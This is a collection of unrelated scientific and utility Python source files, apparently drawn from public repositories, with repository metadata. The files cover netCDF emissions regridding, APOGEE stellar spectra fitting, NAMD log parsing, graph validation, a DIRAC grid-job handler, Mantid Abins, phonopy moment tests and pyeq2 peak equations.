ocube.coord(axis='x').points=ocube.coord(axis='x').points.astype(dtype='float64') ocube.coord(axis='y').points=ocube.coord(axis='y').points.astype(dtype='float64') #ocube.coord(axis='z').points=ocube.coord(axis='z').points.astype(dtype='float64') # integer ocube.coord(axis='t').points=ocube.coord(axis='t').points.astype(dtype='float64') # for some reason, longitude_bounds are double, but latitude_bounds are float ocube.coord('latitude').bounds=ocube.coord('latitude').bounds.astype(dtype='float64') # add forecast_period & forecast_reference_time # forecast_reference_time frt=numpy.array([15, 45, 75, 105, 135, 165, 195, 225, 255, 285, 315, 345], dtype='float64') frt_dims=iris.coords.AuxCoord(frt,standard_name = 'forecast_reference_time', units=cf_units.Unit('days since 1960-01-01 00:00:00', calendar='360_day')) ocube.add_aux_coord(frt_dims,data_dims=0) ocube.coord('forecast_reference_time').guess_bounds() # forecast_period fp=numpy.array([-360],dtype='float64') fp_dims=iris.coords.AuxCoord(fp,standard_name = 'forecast_period', units=cf_units.Unit('hours'),bounds=numpy.array([-720,0],dtype='float64')) ocube.add_aux_coord(fp_dims,data_dims=None) # add-in cell_methods ocube.cell_methods = [iris.coords.CellMethod('mean', 'time')] # set _FillValue fillval=1e+20 ocube.data = numpy.ma.array(data=ocube.data, fill_value=fillval, dtype='float32') # output file name, based on species outpath='ukca_emiss_'+species_name+'.nc' # don't want time to be cattable, as is a periodic emissions file iris.FUTURE.netcdf_no_unlimited=True # annoying hack to set a missing_value attribute as well as a _FillValue attribute dict.__setitem__(ocube.attributes, 'missing_value', fillval) # now write-out to netCDF saver = iris.fileformats.netcdf.Saver(filename=outpath, netcdf_format='NETCDF3_CLASSIC') saver.update_global_attributes(Conventions=iris.fileformats.netcdf.CF_CONVENTIONS_VERSION) saver.write(ocube, local_keys=['vertical_scaling', 'missing_value','um_stash_source','tracer_name','lumped_species']) # end of script
acsis-project/emissions
emissions/python/periodic_1960/regrid_Me2CO_emissions_n96e_360d_1960.py
Python
gpl-3.0
7,135
[ "NetCDF" ]
534316a0e10e1c3e469d5019905c61dcf0e0412a025f8252a0a684b3aa125964
""" Analyse individual snapshot spectra from APOGEE. """ import numpy as np import os from six.moves import cPickle as pickle from astropy.table import Table import AnniesLasso as tc model_filename = "apogee-rg-custom-17label-REGULARIZED-theta_linalg_init-bfgs_factr0.1_pgtol1e-6-fmin_xtol-1e-6-ftol-1e-6.pickle.backup" validation_filename = "apogee-rg-custom-17label-REGULARIZED-theta_linalg_init-bfgs_factr0.1_pgtol1e-6-fmin_xtol-1e-6-ftol-1e-6-VALIDATED.pickle" output_filename = "apogee-rg-custom-17label-REGULARIZED-theta_linalg_init-bfgs_factr0.1_pgtol1e-6-fmin_xtol-1e-6-ftol-1e-6-INDIVIDUAL-VISITS.pickle" print("what") model_filename = "apogee-rg-17label-theta_linalg_init-bfgs_factr0.1_pgtol1e-6-fmin_xtol-1e-6-ftol-1e-6.pickle.backup" validation_filename = "apogee-rg-17label-theta_linalg_init-bfgs_factr0.1_pgtol1e-6-fmin_xtol-1e-6-ftol-1e-6-VALIDATED.pickle" output_filename = "apogee-rg-17label-theta_linalg_init-bfgs_factr0.1_pgtol1e-6-fmin_xtol-1e-6-ftol-1e-6-INDIVIDUAL-VISITS.pickle" #model_filename = "gridsearch-0.5-4.0.model" #validation_filename = "gridsearch-0.5-4.0.model.validation" #output_filename = "gridsearch-0.5-4.0.model.individual_visits" from glob import glob filenames = [(_, "{}.validation".format(_), "{}.individual_visits".format(_)) \ for _ in glob("gridsearch*s2*.model")] with open("apogee-rg-individual-visit-normalized.pickle", "rb") as fp: individual_visits = pickle.load(fp, encoding="latin-1") # Data. PATH, CATALOG, FILE_FORMAT = ("", "apogee-rg.fits", "apogee-rg-custom-normalization-{}.memmap") # Load the data. labelled_set = Table.read(os.path.join(PATH, CATALOG)) dispersion = np.memmap(os.path.join(PATH, FILE_FORMAT).format("dispersion"), mode="c", dtype=float) normalized_flux = np.memmap( os.path.join(PATH, FILE_FORMAT).format("flux"), mode="c", dtype=float).reshape((len(labelled_set), -1)) normalized_ivar = np.memmap( os.path.join(PATH, FILE_FORMAT).format("ivar"), mode="c", dtype=float).reshape(normalized_flux.shape) elements = [label_name for label_name in labelled_set.dtype.names \ if label_name not in ("PARAM_M_H", "SRC_H") and label_name.endswith("_H")] np.random.seed(123) # For reproducibility. # Split up the data into ten random subsets. q = np.random.randint(0, 10, len(labelled_set)) validate_set = (q == 0) train_set = (~validate_set) # Generate initialization points. label_names = ["TEFF", "LOGG"] + elements tsl = labelled_set[train_set] initial_labels = np.array([ # 1. The fiducial values (mean of all parameters in the training set). [np.median(tsl[label_name]) for label_name in label_names], # 2. The fiducial Teff and logg, with the 25th percentile of all abundances. np.hstack([ [np.median(tsl["TEFF"]), np.median(tsl["LOGG"])], [np.percentile(tsl[element_label], 25) for element_label in elements] ]), # 3. The fiducial Teff and logg, with the 75th percentile of all abundances. np.hstack([ [np.median(tsl["TEFF"]), np.median(tsl["LOGG"])], [np.percentile(tsl[element_label], 75) for element_label in elements] ]), # 4. The 25th percentile in Teff and logg, with the training set mean of all abundances. np.hstack([ [np.percentile(tsl["TEFF"], 25), np.percentile(tsl["LOGG"], 25)], [np.median(tsl[element_label]) for element_label in elements] ]), # 5. The 25th percentile in Teff and logg, with the 25th percentile of all abundances. np.hstack([ [np.percentile(tsl["TEFF"], 25), np.percentile(tsl["LOGG"], 25)], [np.percentile(tsl[element_label], 25) for element_label in elements] ]), # 6. The 25th percentile in Teff and logg, with the 75th percentile of all abundances. np.hstack([ [np.percentile(tsl["TEFF"], 25), np.percentile(tsl["LOGG"], 25)], [np.percentile(tsl[element_label], 75) for element_label in elements] ]), # 7. The 75th percentile in Teff and logg, with the training set mean of all abundances. np.hstack([ [np.percentile(tsl["TEFF"], 75), np.percentile(tsl["LOGG"], 75)], [np.median(tsl[element_label]) for element_label in elements] ]), # 8. The 75th percentile in Teff and logg, with the 25th percentile of all abundances. np.hstack([ [np.percentile(tsl["TEFF"], 75), np.percentile(tsl["LOGG"], 75)], [np.percentile(tsl[element_label], 25) for element_label in elements] ]), # 9. The 75th percentile in Teff and logg, with the 75th percentile of all abundances. np.hstack([ [np.percentile(tsl["TEFF"], 75), np.percentile(tsl["LOGG"], 75)], [np.percentile(tsl[element_label], 75) for element_label in elements] ]), ]) for model_filename, validation_filename, output_filename in filenames: print("Model filename {}".format(model_filename)) print("Validation filename {}".format(validation_filename)) print("Output filename {}".format(output_filename)) # Load the model model = tc.load_model(model_filename, threads=8) if not model.is_trained: print("Not trained..") continue if os.path.exists(validation_filename) and os.path.exists(output_filename): print("Done here..") continue # Load any high S/N stuff from the validation set. if not os.path.exists(validation_filename): expected = model.get_labels_array(labelled_set[validate_set]) inferred, cov, metadata = model.fit(normalized_flux[validate_set], normalized_ivar[validate_set], full_output=True, initial_labels=initial_labels) with open(validation_filename, "wb") as fp: pickle.dump((expected, inferred, cov, metadata), fp, -1) else: with open(validation_filename, "rb") as fp: contents = pickle.load(fp, encoding="latin-1") if len(contents) == 3: expected, inferred, _ = contents else: expected, inferred, cov, metadata = contents validation_apogee_ids = labelled_set["APOGEE_ID"][validate_set] if os.path.exists(output_filename): continue # Now fit the individual visits. snrs = [] apogee_ids = [] high_snr_expected = [] high_snr_inferred = [] differences_inferred = [] differences_expected = [] single_visit_inferred = [] for i, apogee_id in enumerate(validation_apogee_ids): apogee_ids.extend([apogee_id] * len(meta["SNR"])) flux, ivar, meta = individual_visits[apogee_id] N = len(meta) iv_inferred = model.fit(flux, ivar, initial_labels=initial_labels) # difference with respect to the high S/N case. difference_inferred = iv_inferred - inferred[i] difference_expected = iv_inferred - expected[i] # Add these results snrs.extend(meta["SNR"]) apogee_ids.extend([apogee_id] * len(meta["SNR"])) high_snr_expected.extend(np.tile(expected[i], N).reshape((N, -1))) high_snr_inferred.extend(np.tile(inferred[i], N).reshape((N, -1))) single_visit_inferred.extend(iv_inferred) differences_inferred.extend(difference_inferred) differences_expected.extend(difference_expected) print(i, apogee_id) """ if i % 10 == 0 and i > 0: plt.close("all") # Now plot all them things. single_visit_inferred_ = np.array(single_visit_inferred) snrs_, high_snr_expected_, high_snr_inferred_, differences_inferred_, differences_expected_ \ = map(np.array, (snrs, high_snr_expected, high_snr_inferred, differences_inferred, differences_expected)) fig, ax = plt.subplots(1, 2) ok = single_visit_inferred_[:,1] < 3 ax[0].scatter(snrs_[~ok], np.abs(differences_expected_[:, 0])[~ok], facecolor="r") ax[0].scatter(snrs_[ok], np.abs(differences_expected_[:, 0])[ok], facecolor="k") ax[0].set_title("wrt ASPCAP") ax[1].scatter(snrs_[~ok], np.abs(differences_inferred_[:, 0])[~ok], facecolor="r") ax[1].scatter(snrs_[ok], np.abs(differences_inferred_[:, 0])[ok], facecolor="k") ax[1].set_title("wrt TC") plt.draw() plt.show() """ # Now plot all them things. single_visit_inferred = np.array(single_visit_inferred) snrs, high_snr_expected, high_snr_inferred, differences_inferred, differences_expected \ = map(np.array, (snrs, high_snr_expected, high_snr_inferred, differences_inferred, differences_expected)) data = (snrs, high_snr_expected, high_snr_inferred, differences_expected, differences_inferred, single_visit_inferred) with open(output_filename, "wb") as fp: pickle.dump(data, fp, -1) print("Saved to {}".format(output_filename))
peraktong/AnniesLasso
sandbox-scripts/gravelbox_individual_visit_snr.py
Python
mit
8,811
[ "VisIt" ]
81f3bafb3a2668fdc5235af80cc70a1e34e8821149e44197c6dc500f58ffa4a7
""" Module to parse NAMD log files. """ from __future__ import absolute_import try: from future_builtins import zip except ImportError: pass from .basefile import ReadOnlyTextFile __all__ = ['NamdLogFile'] class NamdLogFile(ReadOnlyTextFile): """Parse a NAMD log file.""" filetype = "NAMD log" def read(self): super(NamdLogFile, self).read() self.titles = self.read_etitle() #self.fp.seek(0) self.values = self.read_energy() self.data = dict(zip(self.titles, zip(*self.values))) return self.data def read_etitle(self): for line in self.fp: if line.startswith('ETITLE:'): titles = line.split()[1:] break else: raise RuntimeError('No energy items found.') return titles def read_energy(self): def to_number(x): try: n = int(x) except ValueError: n = float(x) return n n = len(self.titles) data = [] for i, line in enumerate(self.fp): if line.startswith('ENERGY:'): val = [to_number(x) for x in line.split()[1:]] if len(val) != n: raise RuntimeError('File broken at line %d' % (i+1)) data.append(val) return data
HuiLiuCode/pymdlog
pymdlog/namdlogfile.py
Python
gpl-3.0
1,364
[ "NAMD" ]
be74cc1593872a67d8f906ffd9b53e769faea9b3714ac77ba0bb3b2532a169af
from itertools import chain from contextlib import contextmanager from collections import Counter from ..graph import GraphVisitor, Root from ..graph import AbstractNode, AbstractField, AbstractLink, AbstractOption from .errors import Errors class GraphValidationError(TypeError): def __init__(self, errors): self.errors = errors errors_list = '\n'.join('- {}'.format(e) for e in errors) super(GraphValidationError, self).__init__('\n' + errors_list) class GraphValidator(GraphVisitor): class _NameFormatter(GraphVisitor): def visit_node(self, obj): return obj.name def visit_root(self, obj): return 'root' def visit_link(self, obj): return '.{}'.format(obj.name) def visit_field(self, obj): return '.{}'.format(obj.name) def visit_option(self, obj): return ':{}'.format(obj.name) _name_formatter = _NameFormatter() _graph_accept_types = (AbstractNode,) _node_accept_types = (AbstractField, AbstractLink) _link_accept_types = (AbstractOption,) def __init__(self, items): self.items = items self.errors = Errors() self._ctx = [] @classmethod def validate(cls, items): validator = cls(items) validator.visit_graph_items(items) if validator.errors.list: raise GraphValidationError(validator.errors.list) @contextmanager def push_ctx(self, obj): self._ctx.append(obj) try: yield finally: self._ctx.pop() @property def ctx(self): return self._ctx[-1] def _get_duplicates(self, names): counter = Counter(names) return [k for k, v in counter.items() if v > 1] def _format_names(self, names): return ', '.join('"{}"'.format(name) for name in names) def _format_types(self, objects): return ', '.join(map(repr, set(type(obj) for obj in objects))) def _format_path(self, obj=None): path = self._ctx + ([obj] if obj is not None else []) return ''.join(self._name_formatter.visit(i) for i in path) def visit_option(self, obj): # TODO: check option default value according to the option type pass def visit_link(self, obj): invalid = [f for f in obj.options if not isinstance(f, self._link_accept_types)] if invalid: self.errors.report( 'Invalid types provided as link "{}" options: {}' .format(self._format_path(obj), self._format_types(invalid)) ) return with self.push_ctx(obj): super(GraphValidator, self).visit_link(obj) graph_nodes_map = {e.name for e in self.items if e.name is not None} if obj.node not in graph_nodes_map: self.errors.report( 'Link "{}" points to the missing node "{}"' .format(self._format_path(obj), obj.node) ) if obj.requires is not None: if obj.requires not in self.ctx.fields_map: self.errors.report( 'Link "{}" requires missing field "{}" in the "{}" node' .format(obj.name, obj.requires, self._format_path()) ) def visit_node(self, obj): node_name = obj.name or 'root' invalid = [f for f in obj.fields if not isinstance(f, self._node_accept_types)] if invalid: self.errors.report( 'Node can not contain these types: {} in node "{}"' .format(self._format_types(invalid), node_name) ) return with self.push_ctx(obj): for item in obj.fields: self.visit(item) duplicates = self._get_duplicates(e.name for e in obj.fields) if duplicates: self.errors.report( 'Duplicated names found in the "{}" node: {}' .format(node_name, self._format_names(duplicates)) ) def visit_root(self, obj): self.visit_node(obj) def visit_graph(self, obj): self.visit_graph_items(obj.items) def visit_graph_items(self, items): invalid = [f for f in items if not isinstance(f, self._graph_accept_types)] if invalid: self.errors.report( 'Graph can not contain these types: {}' .format(self._format_types(invalid)) ) return root = Root(list(chain.from_iterable(e.fields for e in items if e.name is None))) self.visit(root) for item in items: if item.name is not None: self.visit(item) duplicates = self._get_duplicates(e.name for e in items if e.name is not None) if duplicates: self.errors.report('Duplicated nodes found in the graph: {}' .format(self._format_names(duplicates)))
vmagamedov/hiku
hiku/validate/graph.py
Python
bsd-3-clause
5,124
[ "VisIt" ]
0c77df61a05d6dd2be0a9a3df969d39e49c7946af3cedd098142e0926636eac0
#\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\# import os import inspect import GangaCore.Utility.Virtualization from GangaCore import _gangaVersion from GangaCore.Core.Sandbox.WNSandbox import PYTHON_DIR from GangaDirac.Lib.RTHandlers.DiracRTHUtils import dirac_inputdata, dirac_ouputdata, mangle_job_name, diracAPI_script_template, diracAPI_script_settings, API_nullifier, dirac_outputfile_jdl from GangaDirac.Lib.Files.DiracFile import DiracFile from GangaDirac.Lib.RTHandlers.RunTimeHandlerUtils import master_sandbox_prepare, sandbox_prepare, script_generator from GangaCore.GPIDev.Lib.File.LocalFile import LocalFile from GangaCore.GPIDev.Lib.File.OutputFileManager import getOutputSandboxPatterns, getWNCodeForOutputPostprocessing from GangaCore.GPIDev.Adapters.IRuntimeHandler import IRuntimeHandler from GangaCore.GPIDev.Adapters.StandardJobConfig import StandardJobConfig from GangaCore.Core.exceptions import ApplicationConfigurationError from GangaCore.GPIDev.Lib.File import File, FileBuffer from GangaCore.Utility.Config import getConfig from GangaCore.Utility.logging import getLogger from GangaCore.Utility.util import unique from GangaCore.GPIDev.Base.Proxy import isType, stripProxy logger = getLogger() config = getConfig('DIRAC') #\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\# class ExeDiracRTHandler(IRuntimeHandler): """The runtime handler to run plain executables on the Dirac backend""" def master_prepare(self, app, appmasterconfig): inputsandbox, outputsandbox = master_sandbox_prepare(app, appmasterconfig) if type(app.exe) == File: input_dir = app.getJobObject().getInputWorkspace().getPath() exefile = os.path.join(input_dir, os.path.basename(app.exe.name)) if not os.path.exists(exefile): msg = 'Executable: "%s" must exist!' % str(exefile) raise ApplicationConfigurationError(None, msg) os.system('chmod +x %s' % exefile) return StandardJobConfig(inputbox=unique(inputsandbox), outputbox=unique(outputsandbox)) def prepare(self, app, appsubconfig, appmasterconfig, jobmasterconfig): inputsandbox, outputsandbox = sandbox_prepare(app, appsubconfig, appmasterconfig, jobmasterconfig) input_data, parametricinput_data = dirac_inputdata(app) # outputdata, outputdata_path = dirac_ouputdata(app) job = stripProxy(app).getJobObject() outputfiles = [this_file for this_file in job.outputfiles if isType(this_file, DiracFile)] #Grab the platform if the app has that attribute platform = 'ANY' if hasattr(app, 'platform'): platform = app.platform commandline = [] commandline.append(app.exe) if isType(app.exe, File): #logger.info("app: %s" % str(app.exe.name)) #fileName = os.path.join(get_share_path(app), os.path.basename(app.exe.name)) #logger.info("EXE: %s" % str(fileName)) #inputsandbox.append(File(name=fileName)) inputsandbox.append(app.exe) commandline[0]=os.path.join('.', os.path.basename(app.exe.name)) commandline.extend([str(arg) for arg in app.args]) logger.debug('Command line: %s: ', commandline) #exe_script_path = os.path.join(job.getInputWorkspace().getPath(), "exe-script.py") exe_script_name = 'exe-script.py' logger.debug("Setting Command to be: '%s'" % repr(commandline)) contents = exe_script_template() virtualization = job.virtualization if virtualization: contents = virtualization.modify_script(exe_script_template(), sandbox=True) virtualizationutils = File(inspect.getsourcefile(GangaCore.Utility.Virtualization), subdir=PYTHON_DIR ) inputsandbox.append(virtualizationutils) contents = script_generator(contents, COMMAND=repr(commandline), PYTHONDIR=repr(PYTHON_DIR), OUTPUTFILESINJECTEDCODE=getWNCodeForOutputPostprocessing(job, '')) inputsandbox.append(FileBuffer(name=exe_script_name, contents=contents, executable=True)) logger.debug("Script is: %s" % str(contents)) from os.path import abspath, expanduser for this_file in job.inputfiles: if isinstance(this_file, LocalFile): for name in this_file.getFilenameList(): if not os.path.exists(abspath(expanduser(name))): raise GangaFileError("LocalFile input file %s does not exist!" % name) inputsandbox.append(File(abspath(expanduser(name)))) if isinstance(this_file, DiracFile): if not this_file.getReplicas(): raise GangaFileError("DiracFile inputfile with LFN %s has no replicas" % this_file.lfn) dirac_outputfiles = dirac_outputfile_jdl(outputfiles, config['RequireDefaultSE']) #If we are doing virtualisation with a CVMFS location, check it is available if job.virtualization and isinstance(job.virtualization.image, str): if 'cvmfs' == job.virtualization.image.split('/')[1]: tag_location = '/'+job.virtualization.image.split('/')[1]+'/'+job.virtualization.image.split('/')[2]+'/' if 'Tag' in job.backend.settings: job.backend.settings['Tag'].append(tag_location) else: job.backend.settings['Tag'] = [tag_location] # NOTE special case for replicas: replicate string must be empty for no # replication dirac_script = script_generator(diracAPI_script_template(), DIRAC_IMPORT='from DIRAC.Interfaces.API.Dirac import Dirac', DIRAC_JOB_IMPORT='from DIRAC.Interfaces.API.Job import Job', DIRAC_OBJECT='Dirac()', JOB_OBJECT='Job()', NAME=mangle_job_name(app), # os.path.basename(exe_script_path), EXE=exe_script_name, # ' '.join([str(arg) for arg in app.args]), EXE_ARG_STR='', EXE_LOG_FILE='Ganga_Executable.log', ENVIRONMENT=app.env, INPUTDATA=input_data, PARAMETRIC_INPUTDATA=parametricinput_data, OUTPUT_SANDBOX=API_nullifier(outputsandbox), OUTPUTFILESSCRIPT=dirac_outputfiles, OUTPUT_PATH="", # job.fqid, SETTINGS=diracAPI_script_settings(app), DIRAC_OPTS=job.backend.diracOpts, MIN_PROCESSORS=job.backend.minProcessors, MAX_PROCESSORS=job.backend.maxProcessors, PLATFORM=platform, REPLICATE='True' if config['ReplicateOutputData'] else '', # leave the sandbox for altering later as needs # to be done in backend.submit to combine master. # Note only using 2 #s as auto-remove 3 INPUT_SANDBOX='##INPUT_SANDBOX##', GANGA_VERSION=_gangaVersion, ) #logger.info("dirac_script: %s" % dirac_script) #logger.info("inbox: %s" % str(unique(inputsandbox))) #logger.info("outbox: %s" % str(unique(outputsandbox))) return StandardJobConfig(dirac_script, inputbox=unique(inputsandbox), outputbox=unique(outputsandbox)) #\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\# def exe_script_template(): script_template = """#!/usr/bin/env python2 '''Script to run Executable application''' import sys, os import subprocess from os import system, environ, pathsep, getcwd, listdir, path runenv = environ.copy() runenv['PATH'] = getcwd() + (pathsep + runenv['PATH']) PYTHON_DIR = ###PYTHONDIR### workdir = getcwd() sys.path.insert(0,path.join(workdir, PYTHON_DIR)) execmd = ###COMMAND### if isinstance(execmd, str): execmd = [execmd] if isinstance(execmd, list): if path.isfile(path.abspath(execmd[0])): execmd[0] = path.abspath(execmd[0]) ###VIRTUALIZATION### err = None try: rc = subprocess.call(execmd, env=runenv, shell=False) except Exception as x: rc = -9999 print('Exception occured in running process: ' + repr(execmd)) print('Err was: ' + str(x)) subprocess.call('echo $PATH', shell=True) print('PATH: ' + str(runenv['PATH'])) print('PWD: ' + str(runenv['PWD'])) print("files on WN: " + str(listdir('.'))) raise print("files on WN: " + str(listdir('.'))) ###OUTPUTFILESINJECTEDCODE### try: subprocess.call('chmod -R u+rwX * .*', env=runenv, shell=True) except Exception as x: print('Problems fixing permissions on output files to allow for clean-up.') print('Err was: ' + str(x)) sys.exit(rc) """ return script_template #\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\# from GangaCore.GPIDev.Adapters.ApplicationRuntimeHandlers import allHandlers allHandlers.add('Executable', 'Dirac', ExeDiracRTHandler)
ganga-devs/ganga
ganga/GangaDirac/Lib/RTHandlers/ExeDiracRTHandler.py
Python
gpl-3.0
9,951
[ "DIRAC" ]
f9756dc8024c587013bee4c51cbd315d57a252d8e4ef039be48d33e2c629d6f5
# Mantid Repository : https://github.com/mantidproject/mantid # # Copyright &copy; 2018 ISIS Rutherford Appleton Laboratory UKRI, # NScD Oak Ridge National Laboratory, European Spallation Source # & Institut Laue - Langevin # SPDX - License - Identifier: GPL - 3.0 + from __future__ import (absolute_import, division, print_function) import AbinsModules class CalculateSingleCrystal(AbinsModules.IOmodule): def __init__(self, filename=None, abins_data=None, temperature=None): """ :param filename: name of input DFT filename :param abins_data: object of type AbinsData with data from phonon DFT file :param temperature: temperature in K """ if not isinstance(abins_data, AbinsModules.AbinsData): raise ValueError("Object of AbinsData was expected.") self._abins_data = abins_data if not isinstance(temperature, (int, float)): raise ValueError("Invalid value of temperature.") if temperature < 0: raise ValueError("Temperature cannot be negative.") self._temperature = float(temperature) # temperature in K super(CalculateSingleCrystal, self).__init__( input_filename=filename, group_name=AbinsModules.AbinsParameters.crystal_data_group + "/" + "%sK" % self._temperature) def _calculate_crystal(self): _dw_crystal = AbinsModules.CalculateDWSingleCrystal(temperature=self._temperature, abins_data=self._abins_data) _dw_crystal_data = _dw_crystal.calculate_data() _crystal_data = AbinsModules.SingleCrystalData() _crystal_data.set(abins_data=self._abins_data, dw_crystal_data=_dw_crystal_data) return _crystal_data def calculate_data(self): """ Calculates data needed for calculation of S(Q, omega) in case experimental sample is in the form of single crystal. Saves calculated data to an hdf file. :returns: object of type SingleCrystalData """ data = self._calculate_crystal() self.add_file_attributes() # AbinsData is already stored in an hdf file so only data for DW factors should be stored. self.add_data("dw", data.extract()["dw_crystal_data"]) self.save() return data def load_data(self): _data = self.load(list_of_datasets=["dw"]) _num_atoms = _data["datasets"]["dw"].shape[0] _dw_crystal_data = AbinsModules.DWSingleCrystalData(temperature=self._temperature, num_atoms=_num_atoms) _dw_crystal_data.set(items=_data["datasets"]["dw"]) _crystal_data = AbinsModules.SingleCrystalData() _crystal_data.set(abins_data=self._abins_data, dw_crystal_data=_dw_crystal_data) return _crystal_data
mganeva/mantid
scripts/AbinsModules/CalculateSingleCrystal.py
Python
gpl-3.0
2,776
[ "CRYSTAL" ]
ae6c8aada4ac1eab0a2e795ccd11e2230480401727965a87b54e6c3083786d7f
"""Tests for PhononMoment.""" from io import StringIO import numpy as np from phonopy import Phonopy from phonopy.phonon.moment import PhononMoment result_full_range = """ 1.000000 1.000000 1.000000 4.063222 4.236805 3.889623 17.935854 19.412820 16.458756 1.000000 1.000000 1.000000 3.530039 3.621065 3.451029 12.557720 13.205191 11.995720 """ def test_moment(ph_nacl_nofcsym: Phonopy): """Test PhononMoment.""" phonon = ph_nacl_nofcsym data = np.loadtxt(StringIO(result_full_range), dtype="double") moment = phonon.run_mesh( [13, 13, 13], with_eigenvectors=True, is_mesh_symmetry=False ) num_atom = len(phonon.primitive) w = phonon.mesh.weights f = phonon.mesh.frequencies e = phonon.mesh.eigenvectors vals = np.zeros((6, num_atom + 1), dtype="double") moment = PhononMoment(f, w) for i in range(3): moment.run(order=i) vals[i, 0] = moment.moment assert np.abs(moment.moment - data[i, 0]) < 1e-5 moment = PhononMoment(f, w, eigenvectors=e) for i in range(3): moment.run(order=i) moms = moment.moment vals[i, 1:] = moms assert (np.abs(moms - data[i, 1:]) < 1e-5).all() moment = PhononMoment(f, w) moment.set_frequency_range(freq_min=3, freq_max=4) for i in range(3): moment.run(order=i) vals[i + 3, 0] = moment.moment assert np.abs(moment.moment - data[i + 3, 0]) < 1e-5 moment = PhononMoment(f, w, eigenvectors=e) moment.set_frequency_range(freq_min=3, freq_max=4) for i in range(3): moment.run(order=i) moms = moment.moment vals[i + 3, 1:] = moms assert (np.abs(moms - data[i + 3, 1:]) < 1e-5).all() # self._show(vals) def _show(vals): for v in vals: print(("%9.6f " * len(v)) % tuple(v))
atztogo/phonopy
test/phonon/test_moment.py
Python
bsd-3-clause
1,830
[ "phonopy" ]
4cfef385d9f721c1dfb78541969e24d9e6b07c651c978d14ec9dcc951e73a2a7
from __future__ import print_function from __future__ import unicode_literals from __future__ import absolute_import # pyeq2 is a collection of equations expressed as Python classes # # Copyright (C) 2013 James R. Phillips # 2548 Vera Cruz Drive # Birmingham, AL 35235 USA # # email: zunzun@zunzun.com # # License: BSD-style (see LICENSE.txt in main source directory) import sys, os if os.path.join(sys.path[0][:sys.path[0].rfind(os.sep)], '..') not in sys.path: sys.path.append(os.path.join(sys.path[0][:sys.path[0].rfind(os.sep)], '..')) import pyeq2 import numpy numpy.seterr(all= 'ignore') import pyeq2.Model_2D_BaseClass ln_2 = numpy.log(2.0) sqr_root_two = numpy.sqrt(2.0) neg_sqr_root_two = -1.0 * sqr_root_two sqr_root_two_pi = numpy.sqrt(2.0 * numpy.pi) class LaplacePeak(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Laplace Peak" _HTML = 'y = a * exp((-1.0 * pow(2.0, 0.5) * abs(x-b))/c)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] try: temp = a * numpy.exp(neg_sqr_root_two * numpy.abs(x_in-b) / c) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = a * exp((-1.0 * pow(2.0, 0.5) * abs(x_in-b)) / c);\n" return s class LaplaceArea(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Laplace Area" _HTML = 'y = (a / (pow(2.0, 0.5) * c)) * exp((-1.0 * pow(2.0, 0.5) * abs(x-b))/c)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] try: temp = (a / (sqr_root_two * c)) * numpy.exp(neg_sqr_root_two * numpy.abs(x_in-b) / c) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = (a / (pow(2.0, 0.5) * c)) * exp((-1.0 * pow(2.0, 0.5) * abs(x_in-b)) / c);\n" return s class Hamilton(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Hamilton" _HTML = "Vb = Gb * (I/mu)<sup>ln(mu/I)/(B*B)</sup> + (Vb<sub>max</sub> * I)/(I + sigma_b)" _leftSideHTML = 'Vb' _coefficientDesignators = ['Gb', 'mu', 'B', 'Vbmax', 'sigma_b'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = False autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = True independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = True 